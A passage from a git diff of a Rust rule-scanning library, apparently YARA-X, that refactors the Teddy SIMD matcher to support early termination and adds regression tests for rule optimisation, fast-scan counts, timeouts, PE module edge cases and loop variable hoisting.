debug_assert_eq!( - module_output.descriptor_dyn().full_name(), + output.descriptor_dyn().full_name(), root_struct_name, "main function of module `{}` must return `{}`, but returned `{}`", module_name, root_struct_name, - module_output.descriptor_dyn().full_name(), + output.descriptor_dyn().full_name(), ); // Make sure that the module is returning a protobuf message @@ -682,11 +680,15 @@ impl<'r> Scanner<'r> { // to proto2, proto3 doesn't have "required" fields, all fields // are optional. debug_assert!( - module_output.is_initialized_dyn(), + output.is_initialized_dyn(), "module `{}` returned a protobuf `{}` where some required fields are not initialized ", module_name, root_struct_name ); + + module_output = Some(output); + } else { + module_output = None; } // When constant folding is enabled we don't need to generate @@ -983,7 +985,7 @@ impl<'a, 'r> NonMatchingRules<'a, 'r> { // Create a BitSlice that covers the region of main memory containing // the bitmap that tells which rules matched and which did not. let matching_rules_bitmap = BitSlice::<_, Lsb0>::from_slice( - &main_memory[base..base + num_rules / 8 + 1], + &main_memory[base..base + num_rules.div_ceil(8)], ); // The BitSlice will cover more bits than necessary, for example, if diff --git a/lib/src/scanner/tests.rs b/lib/src/scanner/tests.rs index fda01d0d7..f77285bac 100644 --- a/lib/src/scanner/tests.rs +++ b/lib/src/scanner/tests.rs @@ -146,7 +146,18 @@ fn metadata() { ("qux", "qux"), ("quux", [113, 117, 0, 120]) ]) + ); + + let rules = crate::compile( + b"rule test { meta: raw_nul = \"qu\0x\" condition: true }".as_slice(), ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(b"").expect("scan should not fail"); + let matching_rule = results.matching_rules().next().unwrap(); + let metas: Vec<_> = matching_rule.metadata().collect(); + + assert_eq!(metas, [("raw_nul", MetaValue::Bytes(b"qu\0x".into()))]); } #[test] @@ -995,22 +1006,147 @@ fn regex_set_optimization() { test_proto2.string_foo matches /foo/ or test_proto2.string_foo matches /bar/ } + rule test_eq_true { + condition: + test_proto2.string_foo == "bar" or + test_proto2.string_foo == "foo" + } + rule test_eq_commuted_true { + condition: + "bar" == test_proto2.string_foo or + "foo" == test_proto2.string_foo + } + rule test_eq_false_partial { + condition: + test_proto2.string_foo == "fo" or + test_proto2.string_foo == "oo" + } + rule test_eq_false_case { + condition: + test_proto2.string_foo == "FOO" or + test_proto2.string_foo == "BAR" + } + rule test_iequals_true { + condition: + test_proto2.string_foo iequals "BAR" or + "FOO" iequals test_proto2.string_foo + } + rule test_iequals_false_partial { + condition: + test_proto2.string_foo iequals "FO" or + test_proto2.string_foo iequals "OO" + } + rule test_contains_true { + condition: + test_proto2.string_foo contains "ba" or + test_proto2.string_foo contains "oo" + } + rule test_contains_false { + condition: + test_proto2.string_foo contains "FO" or + test_proto2.string_foo contains "BA" + } + rule test_icontains_true { + condition: + test_proto2.string_foo icontains "BA" or + test_proto2.string_foo icontains "OO" + } + rule test_startswith_true { + condition: + test_proto2.string_foo startswith "ba" or + test_proto2.string_foo startswith "fo" + } + rule test_startswith_false { + condition: + test_proto2.string_foo startswith "oo" or + test_proto2.string_foo startswith "FO" + } + rule test_istartswith_true { + condition: + test_proto2.string_foo istartswith "BA" or + test_proto2.string_foo istartswith "FO" + } + rule test_istartswith_false { + condition: + test_proto2.string_foo istartswith "OO" or + test_proto2.string_foo istartswith "AR" + } + rule test_endswith_true { + condition: + test_proto2.string_foo endswith "ar" or + test_proto2.string_foo endswith "oo" + } + rule test_endswith_false { + condition: + test_proto2.string_foo endswith "fo" or + test_proto2.string_foo endswith "OO" + } + rule test_iendswith_true { + condition: + test_proto2.string_foo iendswith "AR" or + test_proto2.string_foo iendswith "OO" + } + rule test_iendswith_false { + condition: + test_proto2.string_foo iendswith "FO" or + test_proto2.string_foo iendswith "BA" + } + rule test_mixed_true { + condition: + test_proto2.string_foo == "nope" or + test_proto2.string_foo startswith "ba" or + test_proto2.string_foo matches /b.r/ or + test_proto2.string_foo iendswith "OO" + } + rule test_special_chars_true { + condition: + test_proto2.head(10) == "other" or + test_proto2.head(10) == "a+b/c\nd\x00\xff*" + } + rule test_special_chars_multiline_anchor_false { + condition: + test_proto2.head(10) == "a+b/c" or + test_proto2.head(10) == "d\x00\xff*" + } + rule test_undef_false { + condition: + test_proto2.string_undef == "foo" or + test_proto2.string_undef contains "bar" + } "#, ) .unwrap(); let mut scanner = crate::Scanner::new(&rules); - let results = scanner.scan(b"").unwrap(); + let results = scanner.scan(b"a+b/c\nd\x00\xff*").unwrap(); let matching_rules: Vec<_> = results.matching_rules().map(|r| r.identifier().to_string()).collect(); - assert_eq!(matching_rules, vec!["test_match"]); + assert_eq!( + matching_rules, + vec![ + "test_match", + "test_eq_true", + "test_eq_commuted_true", + "test_iequals_true", + "test_contains_true", + "test_icontains_true", + "test_startswith_true", + "test_istartswith_true", + "test_endswith_true", + "test_iendswith_true", + "test_mixed_true", + "test_special_chars_true", + ] + ); } #[test] fn fast_scan_mode() { let rules = crate::compile( r#" + import "math" + rule test_boolean { strings: $a = "foo" @@ -1018,61 +1154,125 @@ fn fast_scan_mode() { condition: $a and $b } - rule test_count { + rule test_count_gt { strings: $c = "baz" condition: - #c > 1 + #c > 2 + } + rule test_count_lt { + strings: + $d = "qux" + condition: + not (#d < 3) + } + rule test_count_eq { + strings: + $e = "zap" + condition: + #e != 2 + } + rule test_for_of_count { + strings: + $f = "wim" + condition: + for any of ($f) : ( # >= 3 ) + } + rule test_unbounded_offset { + strings: + $g = "nub" + condition: + @g[1] >= 0 + } + rule test_shared_pattern_fast_scan { + strings: + $g = "nub" + condition: + $g + } + rule test_anchored_and_all_of_them { + strings: + $j = "$" + $k = "foo" + condition: + all of them and $j at 0 } "#, ) .unwrap(); + let input = b"$foofoobarbarbazbazbazbazquxquxquxquxzapzapzapzapwimwimwimwimnubnubnubnubzenzenzenzenorborborborb$$$"; + // Test standard scan first (fast_scan = false by default) let mut scanner = Scanner::new(&rules); - let results = scanner.scan(b"foofoobarbarbazbaz").unwrap(); - - // Check pattern $a matches - let test_boolean = results - .matching_rules() - .find(|r| r.identifier() == "test_boolean") - .unwrap(); - let mut patterns_a = - test_boolean.patterns().filter(|p| p.identifier() == "$a"); - assert_eq!(patterns_a.next().unwrap().matches().len(), 2); // foofoo has 2 matches - - // Check pattern $c matches - let test_count = results - .matching_rules() - .find(|r| r.identifier() == "test_count") - .unwrap(); - let mut patterns_c = - test_count.patterns().filter(|p| p.identifier() == "$c"); - assert_eq!(patterns_c.next().unwrap().matches().len(), 2); // bazbaz has 2 matches + let results = scanner.scan(input).unwrap(); + + let get_match_count = + |results: &crate::ScanResults, rule_name: &str, pat_name: &str| { + results + .matching_rules() + .find(|r| r.identifier() == rule_name) + .unwrap() + .patterns() + .find(|p| p.identifier() == pat_name) + .unwrap() + .matches() + .len() + }; + + assert_eq!(get_match_count(&results, "test_boolean", "$a"), 2); + assert_eq!(get_match_count(&results, "test_count_gt", "$c"), 4); + assert_eq!(get_match_count(&results, "test_count_lt", "$d"), 4); + assert_eq!(get_match_count(&results, "test_count_eq", "$e"), 4); + assert_eq!(get_match_count(&results, "test_for_of_count", "$f"), 4); + assert_eq!(get_match_count(&results, "test_unbounded_offset", "$g"), 4); + assert_eq!( + get_match_count(&results, "test_shared_pattern_fast_scan", "$g"), + 4 + ); + // $j is anchored at 0 even when `all of them` is also present, so only the + // match at offset 0 is checked and recorded. + assert_eq!( + get_match_count(&results, "test_anchored_and_all_of_them", "$j"), + 1 + ); + assert_eq!( + get_match_count(&results, "test_anchored_and_all_of_them", "$k"), + 2 + ); // Test fast scan mode (fast_scan = true) let mut scanner = Scanner::new(&rules); scanner.fast_scan(true); - let results = scanner.scan(b"foofoobarbarbazbaz").unwrap(); - - // Rule test_boolean still matches - let test_boolean = results - .matching_rules() - .find(|r| r.identifier() == "test_boolean") - .unwrap(); - // But pattern $a must only have 1 match because it is fast-scanned! - let mut patterns_a = - test_boolean.patterns().filter(|p| p.identifier() == "$a"); - assert_eq!(patterns_a.next().unwrap().matches().len(), 1); - - // Pattern $c must still have 2 matches because #c is used, disabling fast scan! - let test_count = results - .matching_rules() - .find(|r| r.identifier() == "test_count") - .unwrap(); - let mut patterns_c = - test_count.patterns().filter(|p| p.identifier() == "$c"); - assert_eq!(patterns_c.next().unwrap().matches().len(), 2); + let results = scanner.scan(input).unwrap(); + + // $a only needs 1 match + assert_eq!(get_match_count(&results, "test_boolean", "$a"), 1); + // #c > 2 stops after 2 + 1 = 3 matches (even though 4 exist in input) + assert_eq!(get_match_count(&results, "test_count_gt", "$c"), 3); + // #d < 3 stops after 3 matches (even though 4 exist in input) + assert_eq!(get_match_count(&results, "test_count_lt", "$d"), 3); + // #e != 2 stops after 2 + 1 = 3 matches (even though 4 exist in input) + assert_eq!(get_match_count(&results, "test_count_eq", "$e"), 3); + // for any of ($f) : ( # >= 3 ) stops after 3 matches + assert_eq!(get_match_count(&results, "test_for_of_count", "$f"), 3); + // @g[1] >= 0 disallows fast-scan, so all 4 matches are tracked + assert_eq!(get_match_count(&results, "test_unbounded_offset", "$g"), 4); + // In test_shared_pattern_fast_scan, $g only needs 1 match even though + // test_unbounded_offset declares the same literal without fast-scan. + assert_eq!( + get_match_count(&results, "test_shared_pattern_fast_scan", "$g"), + 1 + ); + // $j is anchored at 0 and $k stops after 1 match in fast-scan mode + assert_eq!( + get_match_count(&results, "test_anchored_and_all_of_them", "$j"), + 1 + ); + assert_eq!( + get_match_count(&results, "test_anchored_and_all_of_them", "$k"), + 1 + ); } #[test] @@ -1120,3 +1320,426 @@ fn test_slow_rule_hang() { let results = scanner.scan(&data).unwrap(); assert_eq!(results.matching_rules().count(), 1); } + +#[test] +#[cfg(any( + all(target_arch = "x86_64", target_feature = "sse2"), + all( + target_arch = "aarch64", + target_feature = "neon", + target_endian = "little" + ) +))] +fn test_teddy_scan_timeout() { + use std::fmt::Write; + use std::time::Duration; + + // Build a rule with 64 distinct literal patterns (the maximum number of + // patterns supported by Teddy) that all share the 4-byte atom `"aaaa"`. + // All 64 atoms hash to the same Teddy bucket, so scanning a buffer of `'a'` + // bytes triggers 64 Teddy atom matches per byte while failing literal + // verification on the trailing `\x00` bytes (which prevents the patterns + // from reaching `max_matches_per_pattern` and being disabled). + let mut rule = String::from("rule test { strings:\n"); + for i in 1..=64 { + writeln!(rule, r#"$ = "aaaa{}""#, "\\x00".repeat(i)).unwrap(); + } + rule.push_str("condition: any of them }"); + + let rules = crate::compile(rule.as_str()).unwrap(); + + assert_eq!(rules.atoms.len(), 64); + assert!(rules.ac_automaton().teddy.is_some()); + + let mut scanner = Scanner::new(&rules); + scanner.set_timeout(Duration::from_secs(1)); + + let data = vec![b'a'; 10_000_000]; + + let err = scanner.scan(&data).unwrap_err(); + assert_eq!(err.to_string(), "timeout"); +} + +#[cfg(feature = "test_proto2-module")] +#[test] +fn runtime_string_from_large_slice() { + let rules = crate::compile( + r#" + import "test_proto2" + rule exact_u16_max { + condition: + test_proto2.head(65535) startswith "aaaa" and + test_proto2.head(65535) endswith "aaaa" + } + rule larger_than_u16_max { + condition: + test_proto2.head(65536) startswith "aaaa" and + test_proto2.head(65536) endswith "aaaa" + } + "#, + ) + .unwrap(); + + let data = vec![b'a'; 70_000]; + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(&data).unwrap(); + assert_eq!(results.matching_rules().len(), 2); +} + +#[test] +fn anchored_pattern_large_offsets() { + let rules = crate::compile( + r#" + rule r1 { + strings: + $a = "foobar" + condition: + $a at 0xffffffff + } + rule r2 { + strings: + $a = "foobar" + condition: + $a at 0x100000000 + } + rule r3 { + strings: + $a = "foobar" + condition: + all of ($a) at 0x100000000 + } + rule r4 { + strings: + $a = "foobar" + condition: + $a and $a at 0x100000000 + } + "#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(b"foobar").unwrap(); + assert_eq!(results.matching_rules().len(), 0); +} + +#[cfg(feature = "pe-module")] +#[test] +fn pe_section_index_overflow() { + let rules = crate::compile( + r#" + import "pe" + rule test { + condition: + pe.section_index(0xffffff80) == 0 and + not defined pe.section_index(0x00000080) + } + "#, + ) + .unwrap(); + + let mut valid_pe = mods::PE::new(); + valid_pe.set_is_pe(true); + let mut sec = mods::pe::Section::new(); + sec.set_name(b".text".to_vec()); + sec.set_full_name(b".text".to_vec()); + sec.set_characteristics(0); + sec.set_raw_data_offset(0xffff_ff00); + sec.set_raw_data_size(0x200); + sec.set_virtual_address(0x1000); + sec.set_virtual_size(0x200); + sec.set_pointer_to_relocations(0); + sec.set_pointer_to_line_numbers(0); + sec.set_number_of_relocations(0); + sec.set_number_of_line_numbers(0); + valid_pe.sections.push(sec); + + let mut scanner = Scanner::new(&rules); + scanner.set_module_output(Box::new(valid_pe)).unwrap(); + let results = scanner.scan(b"").unwrap(); + assert_eq!(results.matching_rules().len(), 1); +} + +#[cfg(feature = "pe-module")] +#[test] +fn set_module_output_partial_pe() { + let rules = crate::compile( + r#" + import "pe" + rule test { + condition: + not defined pe.rva_to_offset(0x1000) and + pe.offset_to_rva(0x200) == 0 and + pe.imphash() == "d41d8cd98f00b204e9800998ecf8427e" and + pe.rich_signature.toolid(1) == 0 and + pe.rich_signature.version(1) == 0 and + pe.rich_signature.toolid(1, 1) == 0 + } + "#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + + // Run a normal scan first so `pe::main` clears thread-local caches. + let _ = scanner.scan(b"").unwrap(); + + let mut pe_data = Box::new(mods::PE::new()); + pe_data.set_is_pe(true); + pe_data.set_file_alignment(0x200); + pe_data.set_section_alignment(0x1000); + + // Unpopulated section (`None` fields) and partial section missing + // `virtual_address` / `virtual_size`. + pe_data.sections.push(mods::pe::Section::new()); + let mut partial_sec = mods::pe::Section::new(); + partial_sec.set_raw_data_offset(0x200); + partial_sec.set_raw_data_size(0x200); + pe_data.sections.push(partial_sec); + + // Partial `Import` entries missing `library_name` or `func.name`. + pe_data.import_details.push(mods::pe::Import::new()); + let mut imp = mods::pe::Import::new(); + imp.set_library_name("kernel32.dll".to_string()); + imp.functions.push(mods::pe::Function::new()); + pe_data.import_details.push(imp); + + // Partial `RichTool` entry missing `toolid` and `version`. + let mut rich = mods::pe::RichSignature::new(); + rich.tools.push(mods::pe::RichTool::new()); + pe_data.rich_signature = protobuf::MessageField::some(rich); + + scanner.set_module_output(pe_data).unwrap(); + let results = scanner.scan(b"").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + // Also verify a wire-valid PE protobuf via `set_module_output_raw` where + // optional `Function.name` is unset (`None`). + let imphash_rules = crate::compile( + r#" + import "pe" + rule test_imphash { + condition: + pe.imphash() == "d41d8cd98f00b204e9800998ecf8427e" + } + "#, + ) + .unwrap(); + + let mut valid_pe = mods::PE::new(); + valid_pe.set_is_pe(true); + let mut func = mods::pe::Function::new(); + func.set_ordinal(1); + func.set_rva(0x2000); + let mut imp = mods::pe::Import::new(); + imp.set_library_name("kernel32.dll".to_string()); + imp.set_number_of_functions(1); + imp.functions.push(func); + valid_pe.import_details.push(imp); + + let raw = valid_pe.write_to_bytes().unwrap(); + let mut scanner = Scanner::new(&imphash_rules); + let _ = scanner.scan(b"").unwrap(); + scanner.set_module_output_raw("pe", &raw).unwrap(); + assert_eq!(scanner.scan(b"").unwrap().matching_rules().len(), 1); +} + +#[test] +fn hoisting_percentage_quantifier_var_shift() { + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source( + r#" + import "math" + rule test { + condition: + for any i in (0..1) : ( + i >= 0 and + with s = math.to_string(filesize) : ( + for (math.to_number(s == "1") * 100)% j in (0..1) : ( + int8(0) == 65 and j >= 0 + ) + ) + ) + } + "#, + ) + .unwrap(); + + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"A").unwrap().matching_rules().len(), 1); + assert_eq!(scanner.scan(b"B").unwrap().matching_rules().len(), 0); +} + +#[test] +fn loop_frame_allocation_order() { + let rules = crate::compile( + r#" + import "math" + rule tuple_with_inner_vars { + condition: + for all v in ( + 1, + math.to_number(with x = 2, y = 0 : ( x + y == 2 )) + ) : ( + v == 1 + ) + } + rule for_of_quantifier_with_inner_vars { + strings: + $a = "abc" + condition: + for (math.to_number(with x = 1, y = 99 : ( x + y == 100 ))) of ($a) : ( $ ) + } + rule of_quantifier_with_inner_vars { + condition: + (math.to_number(with x = 1, y = 99 : ( x + y == 100 ))) of (true, false) + } + "#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"abc").unwrap().matching_rules().len(), 3); + + // Also verify `IR::hoisting` when an outer `with` binds a module function + // (`TypeValue::Func`, which reserves a frame slot without pushing to + // `With::declarations`) alongside an inner `RuntimeString` variable. + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source( + r#" + import "math" + rule hoisting_with_func_alias { + condition: + with f = math.abs : ( + with s = math.to_string(filesize) : ( + for any i in (0..1) : ( + f(int8(0)) == 65 + i and s == "1" + ) + ) + ) + } + "#, + ) + .unwrap(); + + let opt_rules = compiler.build(); + let mut opt_scanner = Scanner::new(&opt_rules); + assert_eq!(opt_scanner.scan(b"A").unwrap().matching_rules().len(), 1); + assert_eq!(opt_scanner.scan(b"C").unwrap().matching_rules().len(), 0); +} + +#[test] +fn hoisting_in_for_in_iterable() { + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source( + r#" + import "math" + rule test { + condition: + for any v in ( + math.to_number( + for any i in (0..2) : ( + math.to_string(filesize) == math.to_string(i) + ) + ), + 0 + ) : ( + v == 1 + ) + } + "#, + ) + .unwrap(); + + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"A").unwrap().matching_rules().len(), 1); + assert_eq!(scanner.scan(b"ABCD").unwrap().matching_rules().len(), 0); +} + +#[test] +fn hoisting_for_of_pattern_vars() { + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source( + r#" + rule test { + strings: + $a = "zzz" + $b = "abc" + condition: + for any i in (0..1) : ( + i == 0 and + for any of ($a, $b) : ( + $ and # == 1 and @[1] == 0 and ![1] == 3 + ) + ) + } + "#, + ) + .unwrap(); + + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"abc").unwrap().matching_rules().len(), 1); + assert_eq!(scanner.scan(b"def").unwrap().matching_rules().len(), 0); +} + +#[test] +fn hoisting_max_vars_and_candidate_limit() { + // 1. Many loop-invariant expressions inside a single `for` loop (`None` + // dependency branch in `find_hoisting_candidates`). + let many_checks = (0..150) + .map(|k| format!("uint8(0) + {k} == {}", 65 + k)) + .collect::>() + .join(" and "); + let src_many = format!( + "rule many_invariants {{ condition: for any i in (0..1) : ( i == 0 and {} ) }}", + many_checks + ); + + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source(src_many.as_str()) + .unwrap(); + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"A").unwrap().matching_rules().len(), 1); + assert_eq!(scanner.scan(b"B").unwrap().matching_rules().len(), 0); + + // 2. Outer `with` occupying `MAX_VARS - FOR_IN_FRAME_SIZE` (2048 - 7 = 2041) + // slots so the inner `for` loop sits right at the `wasm::MAX_VARS` ceiling + // with zero room to shift variables during hoisting. + let num_with_vars = (crate::wasm::MAX_VARS - 7) as usize; + let decls = (0..num_with_vars) + .map(|k| format!("v{k} = {k}")) + .collect::>() + .join(", "); + let uses = (0..num_with_vars) + .map(|k| format!("v{k}")) + .collect::>() + .join(" + "); + let expected_sum: usize = (0..num_with_vars).sum(); + let src_ceiling = format!( + "rule at_max_vars {{ condition: with {decls} : ( ({uses}) == {expected_sum} and for any i in (0..1) : ( uint8(0) == 65 and i == 0 ) ) }}" + ); + + let mut compiler = crate::Compiler::new(); + compiler + .condition_optimization(true) + .add_source(src_ceiling.as_str()) + .unwrap(); + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + assert_eq!(scanner.scan(b"A").unwrap().matching_rules().len(), 1); + assert_eq!(scanner.scan(b"B").unwrap().matching_rules().len(), 0); +} diff --git a/lib/src/symbols/mod.rs b/lib/src/symbols/mod.rs index dc6525a45..f40dcbeb5 100644 --- a/lib/src/symbols/mod.rs +++ b/lib/src/symbols/mod.rs @@ -134,11 +134,7 @@ impl Symbol { #[cfg(test)] fn as_integer(&self) -> Option { - if let TypeValue::Integer { value, .. } = self.type_value() { - value.extract().cloned() - } else { - None - } + self.type_value().try_as_integer() } #[cfg(test)] diff --git a/lib/src/teddy/generic.rs b/lib/src/teddy/generic.rs index fbe51611e..5c5b3bfdc 100644 --- a/lib/src/teddy/generic.rs +++ b/lib/src/teddy/generic.rs @@ -2,6 +2,7 @@ use super::vector::{FatVector, Vector}; use std::collections::BTreeMap; use std::fmt::Debug; +use std::ops::ControlFlow; use std::sync::Arc; pub type PatternID = u32; @@ -185,21 +186,29 @@ impl Slim { } #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start; while cur <= end.sub(V::BYTES) { let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -207,14 +216,22 @@ impl Slim { let prev_bound = cur; cur = end.sub(V::BYTES); let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } @@ -923,13 +940,16 @@ impl Debug for FatMaskBuilder { impl Teddy { #[inline(always)] - pub unsafe fn verify64_all( + pub unsafe fn verify64_all( &self, cur: *const u8, end: *const u8, mut candidate_chunk: u64, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { while candidate_chunk != 0 { let bit = candidate_chunk.trailing_zeros() as usize; @@ -939,84 +959,116 @@ impl Teddy { debug_assert!(bucket < self.buckets.len()); for pid in self.buckets.get_unchecked(bucket).iter().copied() { let pat = self.patterns.get_unchecked(pid); - if pat.is_prefix_raw(match_cur, end) { - callback(Match { + if pat.is_prefix_raw(match_cur, end) + && callback(Match { pid, start: match_cur, end: match_cur.add(pat.len()), - }); + }) + .is_break() + { + return ControlFlow::Break(()); } } } + ControlFlow::Continue(()) } } } impl Teddy<8> { #[inline(always)] - pub unsafe fn verify_all( + pub unsafe fn verify_all( &self, mut cur: *const u8, end: *const u8, candidate: V, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { debug_assert!(!candidate.is_zero()); + let mut cf = ControlFlow::Continue(()); candidate.for_each_64bit_lane(|_, chunk| { - self.verify64_all(cur, end, chunk, callback); + if self.verify64_all(cur, end, chunk, &mut callback).is_break() + { + cf = ControlFlow::Break(()); + return Some(()); + } cur = cur.add(8); None::<()> }); + cf } } } impl Teddy<16> { #[inline(always)] - pub unsafe fn verify_all( + pub unsafe fn verify_all( &self, mut cur: *const u8, end: *const u8, candidate: V, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { debug_assert!(!candidate.is_zero()); let swapped = candidate.swap_halves(); let r1 = candidate.interleave_low_8bit_lanes(swapped); let r2 = candidate.interleave_high_8bit_lanes(swapped); + let mut cf = ControlFlow::Continue(()); r1.for_each_low_64bit_lane( r2, #[inline(always)] |_, chunk| { - self.verify64_all(cur, end, chunk, callback); + if self + .verify64_all(cur, end, chunk, &mut callback) + .is_break() + { + cf = ControlFlow::Break(()); + return Some(()); + } cur = cur.add(4); None::<()> }, ); + cf } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(1); let mut prev0 = V::splat(0xFF); while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1025,37 +1077,53 @@ impl Slim { cur = end.sub(V::BYTES); prev0 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(2); let mut prev0 = V::splat(0xFF); let mut prev1 = V::splat(0xFF); while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1065,29 +1133,40 @@ impl Slim { prev0 = V::splat(0xFF); prev1 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(3); let mut prev0 = V::splat(0xFF); @@ -1096,8 +1175,13 @@ impl Slim { while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1109,35 +1193,51 @@ impl Slim { prev2 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start; while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1145,36 +1245,52 @@ impl Fat { let prev_bound = cur; cur = end.sub(V::Half::BYTES); let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = 